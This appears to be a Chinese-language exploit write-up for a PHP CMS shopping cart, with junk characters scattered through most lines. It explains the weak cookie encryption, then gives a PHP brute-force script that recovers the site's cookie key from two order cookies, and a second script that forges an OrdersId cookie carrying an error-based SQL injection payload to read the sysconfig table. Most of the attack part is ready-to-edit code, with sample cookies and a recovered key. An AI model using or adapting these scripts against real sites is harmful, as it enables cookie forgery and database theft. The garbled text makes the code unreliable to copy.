www.xxx.com/plus/search.php?keyword=# f; A- c6 ?% \* g
在 include/shopcar.class.php中; O) V& z& g$ V0 t ]
先看一下这个shopcar类是如何生成cookie的- G9 [& `2 n8 M& S
239 function saveCookie($key,$value)
* R+ r0 E4 @( O, E2 {2 h. Y240 {1 s# B5 k) t& T; P3 _
241 if(is_array($value))
T$ W2 u9 r, d6 y6 g7 O242 {" [: |7 u0 g* ~ H$ J$ P
243 $value = $this->enCrypt($this->enCode($value));- K: Y/ S7 Q3 A: R, P5 w' z) `
244 }
" C0 y4 Z- X+ ?: G245 else8 C0 K7 y* g! e- w
246 {, Z3 ]) C5 W+ Y- S3 [
247 $value = $this->enCrypt($value);0 V1 j% t/ c1 s; U7 y
248 }! _( ~( u# _1 s- I$ W
249 setcookie($key,$value,time()+36000,’/');- [! u+ L. t# ]# G# D. M8 H
250 }
8 ^, R9 }. y. G: i* o5 o$ q+ z简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
A1 B% d. y" x4 c( v& V186 function enCrypt($txt)) X5 ~3 x ^( m4 G% p
187 {9 ^. Y1 _0 H% i$ [) B8 n8 r
188 srand((double)microtime() * 1000000);9 S4 G% J! R: B! I+ r: i8 A# `
189 $encrypt_key = md5(rand(0, 32000));
9 C% q7 v5 b# k+ n6 M190 $ctr = 0;8 C; e$ Q: ?/ |, ?! m, ?/ a: K
191 $tmp = ”;+ Y/ N7 x" w' {9 H% K' ^+ w& B; C2 |
192 for($i = 0; $i < strlen($txt); $i++)& X( C" G5 o) E2 }) s, i" L* J
193 {
: c1 F6 p/ D0 F, _( l/ Z1 M194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;7 d6 n. c* T; Y' i$ [2 u1 }
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);8 s8 Q+ t0 N/ c# M( ~6 f
196 }4 B9 c: x c- C* A+ u7 d( W& G
197 return base64_encode($this->setKey($tmp));
" l$ U$ Z' ]- q; L9 G7 h) {$ H: r198 }8 c( |0 O! M! Y* K1 H9 ^
213 function setKey($txt)
) M1 J. J. f9 L214 {
% @+ W: p0 N: \215 global $cfg_cookie_encode;
# E6 i. @" _& O: Y216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
7 a. `& ^ v! \+ a217 $ctr = 0;
5 ~& u# a- K v" L) H7 F, D- k218 $tmp = ”;' e3 e% D8 C @& U% c1 q
219 for($i = 0; $i < strlen($txt); $i++)) ]3 s8 j7 d2 H; w: _0 }
220 {' q2 U6 n$ o% t5 s" l
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
S$ c, M/ U6 K/ m222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];* J. @+ \7 z9 d! h" i4 D i
223 }
1 l( h: b B% F w/ r' h224 return $tmp;- u; y% ]/ f# i9 S2 @2 Q) b& Q# ~3 @. a
225 }5 A8 m! T# z, p* n2 C
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
, n7 `# B# H3 y# }6 M然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。- M+ l: u! T" Q8 u, {
具体代码如下:
9 X# f/ U/ K$ t3 A1 b<?php0 c- V" \. [/ k; \, f0 N- L$ b6 R
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here1 Q: C! s& L; c5 m/ T" K
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
3 _! ~! e% l1 b& B: M* O9 m$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
& r9 [6 F" c0 ~! \) i, Ifunction reStrCode($code,$string)
5 F& H+ m* _" p; i9 T{
1 j. k i' k. u$ Q$ t; y$code = base64_decode($code);
4 U, U7 p! F+ U, h/ b$key = “”;( I; l3 ?( M% F6 E) \+ E7 R \
for($i=0 ; $i<32 ; $i++)
z0 [7 M* \$ d{
7 m# D5 h9 N/ [; W! C% _: M/ Z7 m$key .= $string[$i] ^ $code[$i];* @2 z* g0 Q7 ?, w
}
3 h* c7 W6 t: s0 a, [, zreturn $key;
- D6 ~6 w! x \$ g}
D+ M, N! M( A9 j- C: xfunction getKeys($cookie,$plantxt)8 H4 ~& b, U# s3 e8 {' P5 y
{
. m. m& U; E! Q$tmp = $cookie;. u+ Q# _: Y: l. A7 q8 k
$results = array();0 B* w- ?8 `6 P
for($j=0 ; $j < 32000; $j++)
. h3 f# D: P3 w( s, a( O{3 u( U/ ~% {* W% @$ m
0 q2 p/ B1 g$ n$txt = $plantxt;% v4 L' y$ V5 U2 A; m& e
$ctr = 0;) a9 |5 K, q7 ]% F3 K# n
$tmp = ”;& q5 U! G$ q' H# f# T. p
$encrypt_key = md5($j);: V0 y% E) S j. X3 B
for($i =0; $i < strlen($txt); $i ++)
3 J( O, _' T$ Q% F{' [. Y, Y8 U' R
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, w) g& d/ R2 c3 z$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);$ R m, E3 B, p) ^
}: o$ z, i1 `# `, }
$string = $tmp;
4 k+ S( E+ R8 u7 a8 t9 F$code = $cookie;( `- |, Z; [( y0 t' O) }
$result = reStrCode($code,$string);. l( _, s' [2 ^+ a5 q4 G- `
if(eregi(‘^[a-z0-9]+$’,$result))# w) |% g5 b& u+ g" c$ C
{- b- E, p: |' d3 ^
echo $result.”\n”;
1 f% j0 S: l* a: k$results[] = $result;
, J1 ]- R0 ?3 h0 m# x/ h# I( q( Q# b& S}
* F6 ~4 t" x5 S}" ~% l3 x( d$ d" z
return $results;
& | V0 ^' k( s) ~! Y d}
) L% U% x+ W; B2 c0 c$results1 = getKeys($cookie1,$plantxt);: d6 V6 |9 U9 L
$results2 = getKeys($cookie2,$plantxt);
; i6 `- [# u4 _print “\n——————–real key————————–\n”;- V0 R# x) s+ T6 V# {+ }
foreach($results1 as $test1)) @% N$ Z4 O6 `, ~: G& D' q) L. ?
{6 M4 R! [" Y; P# s% V. s$ _3 H! k
foreach($results2 as $test2)
& ^" O" z% |. y7 d3 r A3 N{
7 T6 A; I( X ?( Gif($test1 == $test2)
; |% ~' O( ?( Y( d3 z8 Q{
/ O% O3 `; h, N& Q7 L& ~echo $test1.”\n”;
% j/ d' W) n) {4 i+ r) y" P}
+ n9 }9 V+ ]1 X8 N; i( G, \}, @( H0 g/ y; W: ]' G
}
' p$ n/ d' q8 H+ H4 Q7 w) W0 {?>
9 \; M" W: b* N1 Icookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
6 ?4 O7 ?( r* }0 M: \+ F# R% Splantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua15 b( f2 x6 q k! s0 D
然后推算出md5(strtolower($cfg_cookie_encode))
' G3 E1 E- ~1 E" t% H得到这个key之后,我们就可以构造任意购物车的cookie
2 Q4 _- y- Y/ U4 V接着看5 Z2 r" r" l3 g' ~1 u8 ?
20 class MemberShops
$ l. O! U3 I) C. s+ ]. N4 T21 {$ q9 s: F- {. j1 j% Y
22 var $OrdersId;/ v2 c0 K, O$ a; K, }2 R
23 var $productsId;
' @! H+ [; z, @% w- k8 n; j24$ P s2 u- {) J$ z1 z
25 function __construct()5 x0 A# Q' F. K7 H% l
26 {
' y3 K% Z8 Q( I9 {27 $this->OrdersId = $this->getCookie(“OrdersId”);
; o# W5 L0 U' v) @6 h, L$ [# F1 _' O28 if(empty($this->OrdersId))7 X3 m: l. h2 D: i) m8 v: l! ^5 _; q
29 {" M- ^7 e; m/ A" m3 ?" f* t9 E' l
30 $this->OrdersId = $this->MakeOrders();
! X/ f! p9 [ b9 N0 S0 ^: H% L$ e31 }
/ {* A4 |9 v& d* E, G32 }$ q) n$ C: f9 A9 N8 M
发现OrderId是从cookie里面获取的
1 k: {3 U2 S/ S5 n) v; B然后
! b3 D% v0 y( Q- s! p0 Z) I( {/plus/carbuyaction.php中的
, `$ Y2 E; }, D29 $cart = new MemberShops();5 z/ O( A1 x0 D1 F) Q+ b
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
- ~* b: J7 x6 j! c5 D4 Y……1 ~" S) u9 s' o. V9 |2 {
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
3 n& Q4 E, G6 N+ q9 X9 o. G接着我们就可以注入了
# z, G* |. z3 L通过利用下面代码生成cookie:4 Q3 q4 m) K, u; a
<?php4 I3 ^* [) g1 c& D i
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;* D" N+ Y# ` T4 u4 F3 N2 L, k# j
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here! T" i+ u& q: Z% @5 N5 \
function setKey($txt)$ _3 @9 W0 }4 ^, W
{
" @. f% _. Z' Q4 B$ sglobal $encrypt_key;
% w/ ?, z: t% X H0 ]( s$ctr = 0;
5 j2 M2 @/ r. u1 t$tmp = ”;! n. W B) v3 I! ~5 q0 l
for($i = 0; $i < strlen($txt); $i++) k2 }1 ~# W6 ~) ^8 x8 W. X! [
{, j- ^: h; o. A* I
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;6 U# W% q g" Q; ?9 D3 y! r
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
' p; ~, C* b* {5 ~2 q}. n% O2 y0 T1 W' ~: _& L+ Z# ]
return $tmp;
" M9 }2 a) T2 ]2 ?}
/ n* v6 w: H4 ~$ Z) P6 Y3 `; {3 |function enCrypt($txt)
" V; H% I2 J& ?& D/ L{
; A+ g3 W6 ?# g, ~# \/ M* hsrand((double)microtime() * 1000000);
, b* r3 m. h4 S+ N; \" p" ^' m3 @$encrypt_key = md5(rand(0, 32000));
& b0 U$ A$ J i$ ~6 o$ctr = 0;
6 V! }1 x- [3 ]/ K" S, O' `8 v% _$tmp = ”;
0 L8 c' \2 X2 r" Gfor($i = 0; $i < strlen($txt); $i++)
5 Y! G/ Q6 h# n" p( i{
# P6 m2 N K# B/ F! G! d9 H$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
) z4 u+ }" @# r$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);3 o9 p( `8 |6 t" F1 d0 {, E" y+ [
}
7 @+ |0 l8 S/ M5 H4 B1 ereturn base64_encode(setKey($tmp)); y1 i' M, S+ g$ Q# P7 D. i
}
7 H5 o i3 G& T7 @for($dest =0;$dest = enCrypt($txt);)
- A! O# v/ c" O3 `5 w{1 N- B: @3 l5 a8 a; r. O
if(!strpos($dest,’+'))7 u7 U V, i8 f( [. T i7 c' c
{
- a% y m4 T4 K% r4 ]3 cbreak;
9 y$ b/ r: h3 a) s}
. M" |9 q; k+ B}) `) L7 D* S' K
echo $dest.”\n”;6 P" W5 ^* Y7 k3 h" i, {% [
?>
: Z4 i4 @1 c1 m e( C' ]# ~! y! X" [) B5 i/ o
|